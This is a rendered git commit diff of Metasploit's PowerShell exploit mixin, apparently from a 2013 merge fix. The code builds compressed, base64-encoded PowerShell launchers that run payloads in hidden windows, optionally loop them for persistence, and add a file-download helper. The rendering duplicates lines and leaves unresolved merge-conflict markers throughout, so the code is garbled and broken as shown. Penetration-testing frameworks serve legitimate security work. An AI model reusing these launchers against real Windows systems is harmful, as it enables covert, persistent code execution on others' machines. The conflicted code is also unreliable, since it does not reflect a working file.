replace lib/msf/core/exploit/powershell.rb, thanks @Meatballs1

bug/bundler_fix
RageLtMan 2013-07-20 19:55:01 -04:00
parent 9d93891395
commit 4df3b0215c
1 changed files with 150 additions and 277 deletions

View File

@ -1,175 +1,87 @@
# -*- coding: binary -*- # -*- coding: binary -*-
<<<<<<< HEAD
require 'rex/exploitation/powershell' require 'rex/exploitation/powershell'
=======
require 'zlib'
>>>>>>> master
module Msf module Msf
module Exploit::Powershell module Exploit::Powershell
<<<<<<< HEAD class PshScript < Rex::Exploitation::Powershell::Script
class PshScript < Rex::Exploitation::Powershell::Script end
end
def initialize(info = {}) def initialize(info = {})
super super
register_advanced_options( register_advanced_options(
[ [
OptBool.new('RUN_WOW64', [ OptBool.new('RUN_WOW64', [
false, false,
'Execute powershell in 32bit compatibility mode, payloads need native arch', 'Execute powershell in 32bit compatibility mode, payloads need native arch',
false false
]), ]),
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
======= ], self.class)
def initialize(info = {}) end
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
>>>>>>> master
], self.class)
end
# #
<<<<<<< HEAD # Reads script into a PshScript
# Reads script into a PshScript #
# def read_script(script)
def read_script(script) return PshScript.new(script)
return PshScript.new(script) end
end
# #
======= # Insert substitutions into the powershell script
>>>>>>> master #
# Insert substitutions into the powershell script def make_subs(script, subs)
# if ::File.file?(script)
def make_subs(script, subs) script = ::File.read(script)
if ::File.file?(script) end
script = ::File.read(script)
end
subs.each do |set| subs.each do |set|
script.gsub!(set[0],set[1]) script.gsub!(set[0],set[1])
end end
<<<<<<< HEAD # if datastore['VERBOSE']
# if datastore['VERBOSE'] # print_good("Final Script: ")
# print_good("Final Script: ") # script.each_line {|l| print_status("\t#{l}")}
# script.each_line {|l| print_status("\t#{l}")} # end
# end return script
======= end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
>>>>>>> master
return script
end
# #
# Return an array of substitutions for use in make_subs # Return an array of substitutions for use in make_subs
# #
def process_subs(subs) def process_subs(subs)
return [] if subs.nil? or subs.empty? return [] if subs.nil? or subs.empty?
new_subs = [] new_subs = []
subs.split(';').each do |set| subs.split(';').each do |set|
new_subs << set.split(',', 2) new_subs << set.split(',', 2)
end end
return new_subs return new_subs
end end
# #
<<<<<<< HEAD # Return a gzip compressed powershell script
# Return a gzip compressed powershell script # Will invoke PSH modifiers as enabled
# Will invoke PSH modifiers as enabled #
# def compress_script(script_in, eof = nil)
def compress_script(script_in, eof = nil) # Build script object
# Build script object psh = PshScript.new(script_in)
psh = PshScript.new(script_in) # Invoke enabled modifiers
# Invoke enabled modifiers datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| mod_method = k.split('::').last.intern
mod_method = k.split('::').last.intern psh.send(mod_method)
psh.send(mod_method) end
end return psh.compress_code(eof)
return psh.compress_code(eof) end
=======
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file #
fd.close() # Runs powershell in hidden window raising interactive proc msg
rescue Errno::ENAMETOOLONG, Errno::ENOENT #
# Treat script as a... script def run_hidden_psh(ps_code,ps_bin='powershell.exe')
script_in = script ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
end
return script_in
end
ps_wrapper = <<EOS
#
# Return a zlib compressed powershell script
#
def compress_script(script_in, eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
>>>>>>> master
end
#
# Runs powershell in hidden window raising interactive proc msg
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo $si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = "#{ps_bin}" $si.FileName = "#{ps_bin}"
$si.Arguments = '#{ps_args}' $si.Arguments = '#{ps_args}'
@ -180,137 +92,98 @@ $si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si) $p = [System.Diagnostics.Process]::Start($si)
EOS EOS
<<<<<<< HEAD return ps_wrapper.gsub("\n",';')
return ps_wrapper.gsub("\n",';') end
=======
return ps_wrapper
>>>>>>> master
end
# #
# Creates cmd script to execute psh payload # Creates cmd script to execute psh payload
# #
<<<<<<< HEAD def cmd_psh_payload(pay, old_psh=false)
def cmd_psh_payload(pay, old_psh=false) # Allow powershell 1.0 format
======= if old_psh
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64']) psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
>>>>>>> master else
# Allow powershell 1.0 format psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
if old_psh end
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) # Run our payload in a while loop
else if datastore['PERSIST']
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
end sleep_time = rand(5)+5
# Run our payload in a while loop psh_payload = "function #{fun_name}{#{psh_payload}};"
if datastore['PERSIST'] psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
fun_name = Rex::Text.rand_text_alpha(rand(2)+2) end
sleep_time = rand(5)+5 # Determine appropriate architecture, manual method reduces script size
psh_payload = "function #{fun_name}{#{psh_payload}};" ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" # Wrap in hidden runtime
end psh_payload = run_hidden_psh(psh_payload,ps_bin)
<<<<<<< HEAD # Convert to base64 for -encodedcommand execution
# Determine appropriate architecture, manual method reduces script size command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' end
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
end
# #
# Useful method cache # Useful method cache
# #
module PshMethods module PshMethods
# #
# Convert binary to byte array, read from file if able # Convert binary to byte array, read from file if able
# #
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*') code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = [] lines = []
1.upto(code.length-1) do |byte| 1.upto(code.length-1) do |byte|
if(byte % 10 == 0) if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else else
lines.push ",0x#{code[byte].to_s(16)}" lines.push ",0x#{code[byte].to_s(16)}"
end end
end end
return psh << lines.join("") + "\r\n" return psh << lines.join("") + "\r\n"
end end
# #
# Download file to host via PSH # Download file to host via PSH
# #
def self.download(src,target=nil) def self.download(src,target=nil)
target ||= '$pwd\\' << src.split('/').last target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^ return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
end end
# #
# Uninstall app # Uninstall app
# #
def self.uninstall(app,fuzzy=true) def self.uninstall(app,fuzzy=true)
match = fuzzy ? '-like' : '-eq' match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end end
# #
# Create secure string from plaintext # Create secure string from plaintext
# #
def self.secure_string(str) def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^ return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
end end
# #
# MISC # MISC
# #
# #
# Find PID of file locker # Find PID of file locker
# #
def self.who_locked_file?(filename) def self.who_locked_file?(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end end
def self.get_last_login(user) def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end end
end end
=======
# Determine appropriate architecture
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
end
#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n"
end
>>>>>>> master
end end
end end